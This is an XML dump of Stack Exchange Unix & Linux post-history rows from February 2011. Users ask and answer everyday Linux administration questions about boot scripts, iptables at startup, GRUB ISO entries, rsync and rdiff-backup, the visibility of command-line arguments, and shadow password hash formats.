PCs&#xD;&#xA;&#xD;&#xA;### Kernel boot sequence&#xD;&#xA;&#xD;&#xA;* [tag:initrd], [tag:initramfs]: on Linux, a virtual RAM disk that is loaded by the kernel before the “real” OS starts. The code in the RAM disk typically loads additional drivers (modules).&#xD;&#xA;&#xD;&#xA;### Unix boot sequence&#xD;&#xA;&#xD;&#xA;* [tag:init]: process number 1&#xD;&#xA;* [tag:init-script]: scripts that start and stop services, invoked by init at boot time&#xD;&#xA;* [tag:upstart]: a replacement for the traditional init program&#xD;&#xA;" />
  <row Id="19310" PostHistoryTypeId="24" PostId="8187" RevisionGUID="0e1d3693-fb18-498c-91bb-fa1e2dc128cb" CreationDate="2011-02-25T21:40:27.750" Comment="Proposed by 885 approved by 73 edit id of 157" />
  <row Id="19311" PostHistoryTypeId="5" PostId="8188" RevisionGUID="b38bfedb-c37a-4fd0-9408-c90ecac926a3" CreationDate="2011-02-25T21:40:30.247" UserId="885" Comment="added 133 characters in body" Text="This tag covers both bootloader issues (what happens before the operating system starts) and the starting up of the operating system." />
  <row Id="19312" PostHistoryTypeId="24" PostId="8188" RevisionGUID="b38bfedb-c37a-4fd0-9408-c90ecac926a3" CreationDate="2011-02-25T21:40:30.247" Comment="Proposed by 885 approved by 73 edit id of 158" />
  <row Id="19313" PostHistoryTypeId="5" PostId="8122" RevisionGUID="1f7933f4-7d63-4e69-b155-292cbec5c8bb" CreationDate="2011-02-25T21:44:43.233" UserId="885" Comment="formatting; tags" Text="I've just started playing with Debian 6.0 (Squeeze) in a VPS environment, as a way to learn more about system administration.&#xD;&#xA;&#xD;&#xA;One thing I'd like to configure is a default packet filtering policy. (Permit new and established SSH inbound, permit rate limited ICMP inbound, drop everything else inbound, permit anything outbound, etc etc)&#xD;&#xA;&#xD;&#xA;I've determined how to build a policy which roughly meets my needs, however there doesn't seem to be an existing init script which specifies where iptables should load its policy from on startup. Is there a standard way to do this on Debian? &#xD;&#xA;&#xD;&#xA;I've seen various alternatives suggested, all of which seem to involve creating a shell script somewhere somewhere and invoking it in RC scripts, initscripts, `/etc/network/interfaces`...&#xD;&#xA;&#xD;&#xA;Is there no 'blessed' way to do this in Debian? It seems like a fairly glaring oversight." />
  <row Id="19314" PostHistoryTypeId="6" PostId="8122" RevisionGUID="1f7933f4-7d63-4e69-b155-292cbec5c8bb" CreationDate="2011-02-25T21:44:43.233" UserId="885" Comment="formatting; tags" Text="édebianàésecurityàéiptablesàéinitöscriptà" />
  <row Id="19315" PostHistoryTypeId="6" PostId="8138" RevisionGUID="dc402f13-7be5-4350-995f-00e2318a873e" CreationDate="2011-02-25T21:47:52.263" UserId="885" Comment="edited tags" Text="éusersàégroupà" />
  <row Id="19316" PostHistoryTypeId="5" PostId="8131" RevisionGUID="9cf925fa-31f7-4cb9-bdb2-61ca65bc43af" CreationDate="2011-02-25T21:54:13.817" UserId="885" Comment="improved writing" Text="I am using Linux Mint 10, and it is installed on `sda8`.&#xD;&#xA;&#xD;&#xA;I edited `/etc/grub.d/40_custom`:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo &quot;Adding 40_custom.&quot;&gt;&amp;2&#xD;&#xA;    exec tail -n +3 $0&#xD;&#xA;    # This file provides an easy way to add custom menu entries. Simply type the&#xD;&#xA;    # menu entries you want to add after this comment. Be careful not to change&#xD;&#xA;    # the 'exec tail' line above.&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;fedora ISO&quot; {&#xD;&#xA;        loopback loop (hd0,8)/boot/iso/Fedora-14-i386-DVD.iso&#xD;&#xA;        linux  (loop)/isolinux/vmlinuz boot=isolinux iso-scan/filename=/boot/iso/Fedora$&#xD;&#xA;        initrd (loop)/isolinux/initrd.img&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then I ran `sudo update-grub2`. After rebooting, I chose “Fedora ISO”. The computer restarted.&#xD;&#xA;&#xD;&#xA;I tried following [this guide](http://ubuntuforums.org/showthread.php?t=1549847), but it didn't help.&#xD;&#xA;&#xD;&#xA;Do I need to change the file permissions of the `boot` and `casper` folders &#xD;&#xA;or there is some other problem?&#xD;&#xA;" />
  <row Id="19317" PostHistoryTypeId="2" PostId="8221" RevisionGUID="7727d46c-6f21-427e-ac3a-9df705baa5f6" CreationDate="2011-02-25T22:07:45.350" UserId="1375" Text="I've been reading about using [rsync][1] and [rdiff-backup][2] to make incremental backups of my entire Linux system. I am planning to practise that by setting up a Linux system, making some changes to it, erasing everything and restoring the system (all with the convenience of doing it in a virtual machine). But I want to clarify a few things before taking the plunge:&#xD;&#xA;&#xD;&#xA; 1. How do I get fine control about what gets included in and excluded from the backup? i.e. by default would everything (including invisible &quot;.&quot; files, trash, etc.) be backed up? If so, how can I exclude some of them?&#xD;&#xA; 2. The rdiff-backup tutorial tells you how to retrieve a file from an arbitrary time in the past (as long as you still have the backup). What if I want to restore the complete system on a new computer? How do I do that?&#xD;&#xA; 3. Suppose I make backups of my system on machine A. A few years later I buy a new computer B, and want to restore my system from the backup of machine A. Since the hardware might be totally different, will my new system work when I try to start it up after the restore? How can I ensure a smooth restore onto a new machine?&#xD;&#xA;&#xD;&#xA;Thanks for your answers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mikerubel.org/computers/rsync_snapshots/&#xD;&#xA;  [2]: http://tombuntu.com/index.php/2009/08/22/powerful-remote-incremental-backup-with-rdiff-backup/" />
  <row Id="19318" PostHistoryTypeId="1" PostId="8221" RevisionGUID="7727d46c-6f21-427e-ac3a-9df705baa5f6" CreationDate="2011-02-25T22:07:45.350" UserId="1375" Text="Incremental system backup and restore w/ rsync or rdiff-backup issues" />
  <row Id="19319" PostHistoryTypeId="3" PostId="8221" RevisionGUID="7727d46c-6f21-427e-ac3a-9df705baa5f6" CreationDate="2011-02-25T22:07:45.350" UserId="1375" Text="ébackupàérsyncàéincrementalöbackupàérdifföbackupàérestoreà" />
  <row Id="19320" PostHistoryTypeId="5" PostId="8141" RevisionGUID="3300d290-96bb-40fb-98fa-6af96843f2ad" CreationDate="2011-02-25T22:08:48.547" UserId="3635" Comment="added 1 characters in body" Text="You could use the `lid` command to get a list of users in `aa`, and the loop over that list to add them to `tomcatdeploy`:&#xD;&#xA;&#xD;&#xA;    for u in $(lid -g -n aa); do usermod -a -G tomcatdeploy $u; done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19321" PostHistoryTypeId="2" PostId="8222" RevisionGUID="c0dba703-8ca1-4d92-a4d7-132dea374d2a" CreationDate="2011-02-25T22:11:52.687" UserId="5129" Text="What would be the best way to create a small Linux image that just runs a single Flash SWF on startup (full screen)? Are there distros catered to something like this, or is my best bet manually slimming down an image and then adding something into one of the startup scripts?&#xD;&#xA;&#xD;&#xA;Also, what's the best way to run an SWF outside of a browser? gnash? swfdec? other?" />
  <row Id="19322" PostHistoryTypeId="1" PostId="8222" RevisionGUID="c0dba703-8ca1-4d92-a4d7-132dea374d2a" CreationDate="2011-02-25T22:11:52.687" UserId="5129" Text="Adobe Flash App based Linux Distro" />
  <row Id="19323" PostHistoryTypeId="3" PostId="8222" RevisionGUID="c0dba703-8ca1-4d92-a4d7-132dea374d2a" CreationDate="2011-02-25T22:11:52.687" UserId="5129" Text="éflashàésmallödistributionà" />
  <row Id="19324" PostHistoryTypeId="2" PostId="8223" RevisionGUID="e0aa03f2-06fc-4f67-8150-5072ae934caa" CreationDate="2011-02-25T23:17:56.310" UserId="1049" Text="If I invoke a command with arguments like so:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;bob@bob-pc:~$ command -arg1 -arg2&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;...can other users view the arguments passed to the command?" />
  <row Id="19325" PostHistoryTypeId="1" PostId="8223" RevisionGUID="e0aa03f2-06fc-4f67-8150-5072ae934caa" CreationDate="2011-02-25T23:17:56.310" UserId="1049" Text="Are command line arguments 'safe' from other users?" />
  <row Id="19326" PostHistoryTypeId="3" PostId="8223" RevisionGUID="e0aa03f2-06fc-4f67-8150-5072ae934caa" CreationDate="2011-02-25T23:17:56.310" UserId="1049" Text="écommandölineàésecurityà" />
  <row Id="19327" PostHistoryTypeId="2" PostId="8224" RevisionGUID="fb26758b-b31c-4d61-85c2-dc3341eb7c83" CreationDate="2011-02-25T23:18:51.047" UserId="885" Text="What the RFC says is actually immaterial here. The RFC specifies what goes on at the DNS level, but that's moot if ping doesn't make a DNS query in the first place. When ping receives an all-numeric argument, it interprets it as an IP address.&#xD;&#xA;&#xD;&#xA;[IPv4 addresses](http://en.wikipedia.org/wiki/IPv4#Address_representations) are technically 32-bit numbers. They are almost always written in [dot-decimal notation](http://en.wikipedia.org/wiki/Dot-decimal_notation), so-called “dotted quads” like `127.0.0.1`. But they can also be written as a single number in decimal like `2130706433` or in hexadecimal like `0x7f000001`.&#xD;&#xA;&#xD;&#xA;    $ ping 2130706433    # 127*2^24 + 1&#xD;&#xA;    PING 2130706433 (127.0.0.1) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.027 ms&#xD;&#xA;    $ ping 0.0.25.192&#xD;&#xA;    connect: Invalid argument&#xD;&#xA;&#xD;&#xA;Addresses in the range 0.0.0.0/8 are [reserved](http://en.wikipedia.org/wiki/Reserved_IP_addresses#Reserved_IPv4_addresses) for use as source addresses in broadcasts. You can't send a packet to them, which is why `connect(2)` returns `EINVAL`.&#xD;&#xA;&#xD;&#xA;Many programs, including most ping implementations, have no option to force a DNS lookup. You would run into similar trouble if you made a local network with all-numeric subdomains, and ended up with a valid hostname that looked like a dotted quad.&#xD;&#xA;&#xD;&#xA;If your local network has a name, `ping 6592.mynetwork` will work. But you're likely to run into similar trouble down the line, as sooner or later you'll want to omit the domain name. Just go with the flow and include a letter, preferably at the start.&#xD;&#xA;" />
  <row Id="19328" PostHistoryTypeId="6" PostId="8117" RevisionGUID="27b1376d-0472-452d-ae11-5ef89a34db8f" CreationDate="2011-02-25T23:19:25.680" UserId="885" Comment="edited tags" Text="édnsàéhostnameàépingà" />
  <row Id="19329" PostHistoryTypeId="6" PostId="8097" RevisionGUID="9dd1da53-d655-4edb-bea8-7081143c54e7" CreationDate="2011-02-25T23:22:10.843" UserId="885" Comment="edited tags" Text="ésoftwareörecàéimageöeditorà" />
  <row Id="19330" PostHistoryTypeId="25" PostId="8121" RevisionGUID="4ea68a64-5088-42c0-b961-555797eba618" CreationDate="2011-02-25T23:23:25.157" Comment="http://twitter.com/#!/StackUnix/status/41277113017434112" />
  <row Id="19331" PostHistoryTypeId="5" PostId="8101" RevisionGUID="c7ab9231-2650-49a2-8e1e-054d433f5622" CreationDate="2011-02-25T23:24:22.293" UserId="885" Comment="formatting; title" Text="For instance, `:echo strftime(%c)` will show the current time on the bottom, but how to insert this time string to the text (right after the cursor)?" />
  <row Id="19332" PostHistoryTypeId="4" PostId="8101" RevisionGUID="c7ab9231-2650-49a2-8e1e-054d433f5622" CreationDate="2011-02-25T23:24:22.293" UserId="885" Comment="formatting; title" Text="How to insert the result of a command into the text in vim?" />
  <row Id="19333" PostHistoryTypeId="2" PostId="8225" RevisionGUID="406b2f9d-6f5b-4414-83cc-a87ee7ad3fec" CreationDate="2011-02-25T23:31:22.573" UserId="4158" Text="In general yes, they can see it.  This is from the `w` man page:&#xD;&#xA;&#xD;&#xA;&gt; The  following entries are displayed for each user: login name, the tty&#xD;&#xA;       name, the remote host, login time, idle time, JCPU, PCPU, and the  com‐&#xD;&#xA;       mand line of their current process.&#xD;&#xA;&#xD;&#xA;The complete command line of your currently running process will be displayed.  That's why you do not want to supply things like passwords through command line arguments. " />
  <row Id="19334" PostHistoryTypeId="2" PostId="8226" RevisionGUID="055aaf2f-2cc0-4a00-b922-f50e3504d679" CreationDate="2011-02-25T23:38:22.737" UserId="885" Text="In general, command line arguments are visible to all. For example, as a non-root user on OpenBSD, I can see arguments of processes running as root:&#xD;&#xA;&#xD;&#xA;    $ ps -U root -o command= |grep getty |head -n 1&#xD;&#xA;    /usr/libexec/getty std.9600 ttyC0&#xD;&#xA;&#xD;&#xA;On Linux, you'll notice that all `/proc/*/cmdline` files are world-readable.&#xD;&#xA;&#xD;&#xA;There may be highly specific settings in which command line arguments remain private. For example, [SELinux and Solaris can altogether hide processes from other users](http://unix.stackexchange.com/questions/1326/hide-processes-from-other-users-based-on-groups-under-linux). But unless you absolutely know you're in such a setting, assume command line arguments are public.&#xD;&#xA;" />
  <row Id="19335" PostHistoryTypeId="6" PostId="8223" RevisionGUID="9131af96-eeae-47c4-9018-bec53d32ed21" CreationDate="2011-02-25T23:38:50.457" UserId="885" Comment="edited tags" Text="écommandölineàésecurityàéprocessà" />
  <row Id="19336" PostHistoryTypeId="2" PostId="8227" RevisionGUID="fe3f283d-2c60-49e7-8958-7c156891f312" CreationDate="2011-02-25T23:48:22.850" UserId="885" Text="&lt;sub&gt; (If you have three questions, it's better to ask three separate questions. But since the answers are short I'll answer them all.) &lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;1. Both rsync and rdiff-backup have fairly powerful file selection mechanisms, based on inclusion and exclusion rules. I wrote an [rsync filter tutorial](http://unix.stackexchange.com/questions/2161/rsync-filter-copying-one-pattern-only/2503#2503). Rdiff-backup's filters are based on the same principles but the details are different, see “file selection” section in the manual.&#xD;&#xA;&#xD;&#xA;2. Restore the whole backup (i.e. the root directory of the backup tree) as of now: `rdiff-backup -r now /path/to/backup /where/to/restore`.&#xD;&#xA;&#xD;&#xA;3. There's nothing in the storage format that depends on your hardware. You can save and restore on different machines, it doesn't matter.&#xD;&#xA;" />
  <row Id="19337" PostHistoryTypeId="2" PostId="8228" RevisionGUID="cbb4f91c-30ea-4a38-999e-2d1883183f3c" CreationDate="2011-02-26T01:00:54.240" UserId="305" Text="On default setups they are able but as it have been written processes can overwrite it. Still it can be used to race condition/timing attachs.&#xD;&#xA;&#xD;&#xA;However [grsecurity patchset][1] had included patch which allowed only the owner (and root) to see his/her processes. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grsecurity.net/" />
  <row Id="19338" PostHistoryTypeId="2" PostId="8229" RevisionGUID="9f5480b3-5cc4-45e0-a9b9-2cda2e526b99" CreationDate="2011-02-26T02:16:44.787" UserId="1049" Text="A careful examination of the `/etc/passwd` and `/etc/shadow` files reveal that the passwords stored are hashed using some form of hashing function.&#xD;&#xA;&#xD;&#xA;A quick Google search reveals that by default, the passwords are encrypted using [DES](http://en.wikipedia.org/wiki/Data_Encryption_Standard). If an entry begins with `$`, then it indicates that some other hashing function was used.&#xD;&#xA;&#xD;&#xA;For example, some entries on my Ubuntu machine begin with `$6$`...&#xD;&#xA;&#xD;&#xA;What do the various numbers represent?" />
  <row Id="19339" PostHistoryTypeId="1" PostId="8229" RevisionGUID="9f5480b3-5cc4-45e0-a9b9-2cda2e526b99" CreationDate="2011-02-26T02:16:44.787" UserId="1049" Text="What encryption methods are used to encrypt passwords in `/etc/passwd` and `/etc/shadow`?" />
  <row Id="19340" PostHistoryTypeId="3" PostId="8229" RevisionGUID="9f5480b3-5cc4-45e0-a9b9-2cda2e526b99" CreationDate="2011-02-26T02:16:44.787" UserId="1049" Text="épasswordàéhashsumà" />
  <row Id="19341" PostHistoryTypeId="2" PostId="8230" RevisionGUID="a6109a90-23c3-46c5-8bba-8d99579bd037" CreationDate="2011-02-26T02:21:22.110" UserId="3169" Text="The full list is in man crypt(3):&#xD;&#xA;&#xD;&#xA;              ID  | Method&#xD;&#xA;              -------------------------------------------------&#xD;&#xA;              1   | MD5&#xD;&#xA;              2a  | Blowfish (on some Linux distributions)&#xD;&#xA;              5   | SHA-256 (since glibc 2.7)&#xD;&#xA;              6   | SHA-512 (since glibc 2.7)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See also [1][1], [2][2], [3][3], [4][4], [5][5]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/handbook/crypt.html&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Blowfish_passwords&#xD;&#xA;  [3]: http://www.daemon-systems.org/man/crypt.3.html&#xD;&#xA;  [4]: http://www.w3schools.com/php/func_string_crypt.asp&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Crypt_(Unix)" />
  <row Id="19342" PostHistoryTypeId="25" PostId="8223" RevisionGUID="d8d722cd-41b7-4937-8950-c55dbc5c413f" CreationDate="2011-02-26T02:23:25.263" Comment="http://twitter.com/#!/StackUnix/status/41322411173482496" />
  <row Id="19343" PostHistoryTypeId="5" PostId="8230" RevisionGUID="85fe28de-25e4-401f-a105-2a565d2a358b" CreationDate="2011-02-26T02:26:26.897" UserId="3169" Comment="added 293 characters in body; added 3 characters in body; added 125 characters in body" Text="The full list is in `man 3 crypt` ([web version][6]):&#xD;&#xA;&#xD;&#xA;              ID  | Method&#xD;&#xA;              -------------------------------------------------&#xD;&#xA;              1   | MD5&#xD;&#xA;              2a  | Blowfish (on some Linux distributions)&#xD;&#xA;              5   | SHA-256 (since glibc 2.7)&#xD;&#xA;              6   | SHA-512 (since glibc 2.7)&#xD;&#xA;&#xD;&#xA;So `$6$` means `SHA-512`.&#xD;&#xA;&#xD;&#xA;Many systems use `$2$` rather than `$2a$` for Blowfish.  According to [Wikipedia Crypt (Unix)][5]:&#xD;&#xA;&#xD;&#xA;&gt; The printable form of these hashes starts with $2$ or $2a$, depending on which variant of the algorithm is used.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA;  * [FreeBSD crypt][1]&#xD;&#xA;  * [ArchLinux Blowfish passwords][2]&#xD;&#xA;  * [NetBSD crypt(3)][3]&#xD;&#xA;  * [w3schools crypt][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/handbook/crypt.html&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Blowfish_passwords&#xD;&#xA;  [3]: http://www.daemon-systems.org/man/crypt.3.html&#xD;&#xA;  [4]: http://www.w3schools.com/php/func_string_crypt.asp&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Crypt_(Unix)&#xD;&#xA;  [6]: http://www.kernel.org/doc/man-pages/online/pages/man3/crypt.3.html" />
  <row Id="19344" PostHistoryTypeId="5" PostId="8230" RevisionGUID="c0cef5a2-3f14-4984-9571-7f43f9c36e55" CreationDate="2011-02-26T02:31:53.243" UserId="3169" Comment="added 6 characters in body; added 403 characters in body" Text="The full list is in `man 3 crypt` ([web version][6]):&#xD;&#xA;&#xD;&#xA;              ID  | Method&#xD;&#xA;              -------------------------------------------------&#xD;&#xA;              1   | MD5&#xD;&#xA;              2a  | Blowfish (on some Linux distributions)&#xD;&#xA;              5   | SHA-256 (since glibc 2.7)&#xD;&#xA;              6   | SHA-512 (since glibc 2.7)&#xD;&#xA;&#xD;&#xA;So `$6$` means `SHA-512`.&#xD;&#xA;&#xD;&#xA;Many systems use `$2$` rather than `$2a$` for Blowfish.  According to [Wikipedia Crypt (Unix)][5]:&#xD;&#xA;&#xD;&#xA;&gt; The printable form of these hashes starts with $2$ or $2a$, depending on which variant of the algorithm is used.&#xD;&#xA;&#xD;&#xA;Which one your system uses is governed by any options passed to the [pam_unix PAM module][7].&#xD;&#xA;&#xD;&#xA;For example, if you have:&#xD;&#xA;&#xD;&#xA;    password required pam_unix.so sha512&#xD;&#xA;&#xD;&#xA;in your PAM configuration files (typically `/etc/pam.d/common-password`), then next time you change your password, it will be hashed using SHA-512.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA;  * [FreeBSD crypt][1]&#xD;&#xA;  * [ArchLinux Blowfish passwords][2]&#xD;&#xA;  * [NetBSD crypt(3)][3]&#xD;&#xA;  * [w3schools crypt][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/handbook/crypt.html&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Blowfish_passwords&#xD;&#xA;  [3]: http://www.daemon-systems.org/man/crypt.3.html&#xD;&#xA;  [4]: http://www.w3schools.com/php/func_string_crypt.asp&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Crypt_(Unix)&#xD;&#xA;  [6]: http://www.kernel.org/doc/man-pages/online/pages/man3/crypt.3.html#NOTES&#xD;&#xA;  [7]: http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_unix.html" />
  <row Id="19345" PostHistoryTypeId="5" PostId="8230" RevisionGUID="3d8a59e3-57f7-4f3a-9363-ddc1947ad8ad" CreationDate="2011-02-26T02:41:59.743" UserId="3169" Comment="added 102 characters in body" Text="The full list is in `man 3 crypt` ([web version][6]):&#xD;&#xA;&#xD;&#xA;              ID  | Method&#xD;&#xA;              -------------------------------------------------&#xD;&#xA;              1   | MD5&#xD;&#xA;              2a  | Blowfish (on some Linux distributions)&#xD;&#xA;              5   | SHA-256 (since glibc 2.7)&#xD;&#xA;              6   | SHA-512 (since glibc 2.7)&#xD;&#xA;&#xD;&#xA;So `$6$` means `SHA-512`.&#xD;&#xA;&#xD;&#xA;Many systems use `$2$` rather than `$2a$` for Blowfish.  According to [Wikipedia Crypt (Unix)][5]:&#xD;&#xA;&#xD;&#xA;&gt; The printable form of these hashes starts with $2$ or $2a$, depending on which variant of the algorithm is used.&#xD;&#xA;&#xD;&#xA;Which one your system uses is governed by any options passed to the [pam_unix PAM module][7].&#xD;&#xA;&#xD;&#xA;The default on the latest version of Ubuntu is set in `/etc/pam.d/common-password`:&#xD;&#xA;&#xD;&#xA;    password        [success=1 default=ignore]      pam_unix.so obscure sha512&#xD;&#xA;&#xD;&#xA;which means that next time you change your password, it will be hashed using SHA-512, assuming your account is local, rather than NIS/LDAP/Kerberos, etc.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA;  * [FreeBSD crypt][1]&#xD;&#xA;  * [ArchLinux Blowfish passwords][2]&#xD;&#xA;  * [NetBSD crypt(3)][3]&#xD;&#xA;  * [w3schools crypt][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/handbook/crypt.html&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Blowfish_passwords&#xD;&#xA;  [3]: http://www.daemon-systems.org/man/crypt.3.html&#xD;&#xA;  [4]: http://www.w3schools.com/php/func_string_crypt.asp&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Crypt_(Unix)&#xD;&#xA;  [6]: http://www.kernel.org/doc/man-pages/online/pages/man3/crypt.3.html#NOTES&#xD;&#xA;  [7]: http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_unix.html" />
  <row Id="19346" PostHistoryTypeId="5" PostId="8230" RevisionGUID="9dc929ef-db4d-4412-8466-ef0e0ef5f7d9" CreationDate="2011-02-26T02:59:40.247" UserId="3169" Comment="deleted 134 characters in body" Text="The full list is in `man 3 crypt` ([web version][6]):&#xD;&#xA;&#xD;&#xA;              ID  | Method&#xD;&#xA;              -------------------------------------------------&#xD;&#xA;              1   | MD5&#xD;&#xA;              2a  | Blowfish (on some Linux distributions)&#xD;&#xA;              5   | SHA-256 (since glibc 2.7)&#xD;&#xA;              6   | SHA-512 (since glibc 2.7)&#xD;&#xA;&#xD;&#xA;(Blowfish can be either `$2$` or `$2a$` according to [Wikipedia Crypt (Unix)][5].)&#xD;&#xA;&#xD;&#xA;So `$6$` means `SHA-512`.&#xD;&#xA;&#xD;&#xA;Which one your system uses is governed by any options passed to the [pam_unix PAM module][7].&#xD;&#xA;&#xD;&#xA;The default on the latest version of Ubuntu is set in `/etc/pam.d/common-password`:&#xD;&#xA;&#xD;&#xA;    password        [success=1 default=ignore]      pam_unix.so obscure sha512&#xD;&#xA;&#xD;&#xA;which means that next time you change your password, it will be hashed using SHA-512, assuming your account is local, rather than NIS/LDAP/Kerberos, etc.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA;  * [FreeBSD crypt][1]&#xD;&#xA;  * [ArchLinux Blowfish passwords][2]&#xD;&#xA;  * [NetBSD crypt(3)][3]&#xD;&#xA;  * [w3schools crypt][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/handbook/crypt.html&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Blowfish_passwords&#xD;&#xA;  [3]: http://www.daemon-systems.org/man/crypt.3.html&#xD;&#xA;  [4]: http://www.w3schools.com/php/func_string_crypt.asp&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Crypt_(Unix)&#xD;&#xA;  [6]: http://www.kernel.org/doc/man-pages/online/pages/man3/crypt.3.html#NOTES&#xD;&#xA;  [7]: http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_unix.html" />
  <row Id="19347" PostHistoryTypeId="2" PostId="8231" RevisionGUID="44c0aa91-1ce4-4398-a305-3837e4e0c7e0" CreationDate="2011-02-26T03:50:45.967" UserId="2296" Text="I have an external USB drive which my system recognizes as /dev/sdb1. I want to have it automounted with 755 permissions on boot and shared over the network with samba. I created the mount point /mnt/mybook for it, and I've mounted it manually with no problems. If I do &quot;mount /dev/sdb1 /mnt/mybook&quot;, it mounts correctly and I can access the contents.&#xD;&#xA;&#xD;&#xA;I figured this would be simple enough, so I read up on fstab and came up with the following line for it:&#xD;&#xA;&gt;UUID=C252-9CA3 /mnt/mybook vfat defaults,mode=755 0 0&#xD;&#xA;&#xD;&#xA;I got the UUID from blkid. &#xD;&#xA;&#xD;&#xA;When I reboot, the drive is not automounted, much less with the 755 permissions I want. How can I make it so the drive gets correctly automounted with the desired permissions? &#xD;&#xA;" />
  <row Id="19348" PostHistoryTypeId="1" PostId="8231" RevisionGUID="44c0aa91-1ce4-4398-a305-3837e4e0c7e0" CreationDate="2011-02-26T03:50:45.967" UserId="2296" Text="Why is my fstab entry for an external USB drive not working?" />
  <row Id="19349" PostHistoryTypeId="3" PostId="8231" RevisionGUID="44c0aa91-1ce4-4398-a305-3837e4e0c7e0" CreationDate="2011-02-26T03:50:45.967" UserId="2296" Text="éarchölinuxàémountàéautomountingàéexternalöhddàéfstabà" />
  <row Id="19350" PostHistoryTypeId="2" PostId="8232" RevisionGUID="1d73c8ca-3263-4cb3-b711-51a20797807a" CreationDate="2011-02-26T04:43:38.450" UserId="1049" Text="Apparently there is a function ([getpwnam](http://www.kernel.org/doc/man-pages/online/pages/man3/getpwnam.3.html)) that given a username, will return the appropriate entry in `/etc/passwd` with the other details for that user (shell, uid, gid, etc.).&#xD;&#xA;&#xD;&#xA;However, I have no idea how to get that function working with the shadow password file (`/etc/shadow`). Is this possible? If it helps, the application will be running as `root`." />
  <row Id="19351" PostHistoryTypeId="1" PostId="8232" RevisionGUID="1d73c8ca-3263-4cb3-b711-51a20797807a" CreationDate="2011-02-26T04:43:38.450" UserId="1049" Text="How to get hashed password in /etc/shadow using getpwnam() ?" />
  <row Id="19352" PostHistoryTypeId="3" PostId="8232" RevisionGUID="1d73c8ca-3263-4cb3-b711-51a20797807a" CreationDate="2011-02-26T04:43:38.450" UserId="1049" Text="éusersàépasswordà" />
  <row Id="19353" PostHistoryTypeId="2" PostId="8233" RevisionGUID="4447433d-766d-4085-a558-fc33d8c5ca84" CreationDate="2011-02-26T05:03:05.143" UserId="5133" Text="I'm currently adding a little bit of Git functionality to my menu.vim file, and for using a certain command (Gitk) I need to find out Vim's current directory.&#xD;&#xA;&#xD;&#xA;How does one do that and include it in a command? (i.e. `:!echo &quot;%current-directory&quot;`)" />
  <row Id="19354" PostHistoryTypeId="1" PostId="8233" RevisionGUID="4447433d-766d-4085-a558-fc33d8c5ca84" CreationDate="2011-02-26T05:03:05.143" UserId="5133" Text="Vim - Get Current Directory" />
  <row Id="19355" PostHistoryTypeId="3" PostId="8233" RevisionGUID="4447433d-766d-4085-a558-fc33d8c5ca84" CreationDate="2011-02-26T05:03:05.143" UserId="5133" Text="éactivedirectoryàégvimà" />
  <row Id="19356" PostHistoryTypeId="2" PostId="8234" RevisionGUID="8640153f-2786-41be-a7ea-ea43276d3966" CreationDate="2011-02-26T05:03:31.023" UserId="5134" Text="hi.&#xD;&#xA;&#xD;&#xA;I'm trying to set up my brother - who has a PPC mac, with 1 ghz processor and 256 ram, with a linux distro that would allow him to surf the web on the device.&#xD;&#xA;&#xD;&#xA;If anyone knows of this mac, they also know that support has faded for the new browsers rendering the device essentially useless when it comes to the web. Ideally I would have installed jolicloud - but alas, it is only intel mac compatible...&#xD;&#xA;&#xD;&#xA;Please let me know if you have any suggestions for me!&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;linux mac power" />
  <row Id="19357" PostHistoryTypeId="1" PostId="8234" RevisionGUID="8640153f-2786-41be-a7ea-ea43276d3966" CreationDate="2011-02-26T05:03:31.023" UserId="5134" Text="Need Advice: What Linux distro should I install on an old PowerPC Mac" />
  <row Id="19358" PostHistoryTypeId="3" PostId="8234" RevisionGUID="8640153f-2786-41be-a7ea-ea43276d3966" CreationDate="2011-02-26T05:03:31.023" UserId="5134" Text="élinuxàépowerpcà" />
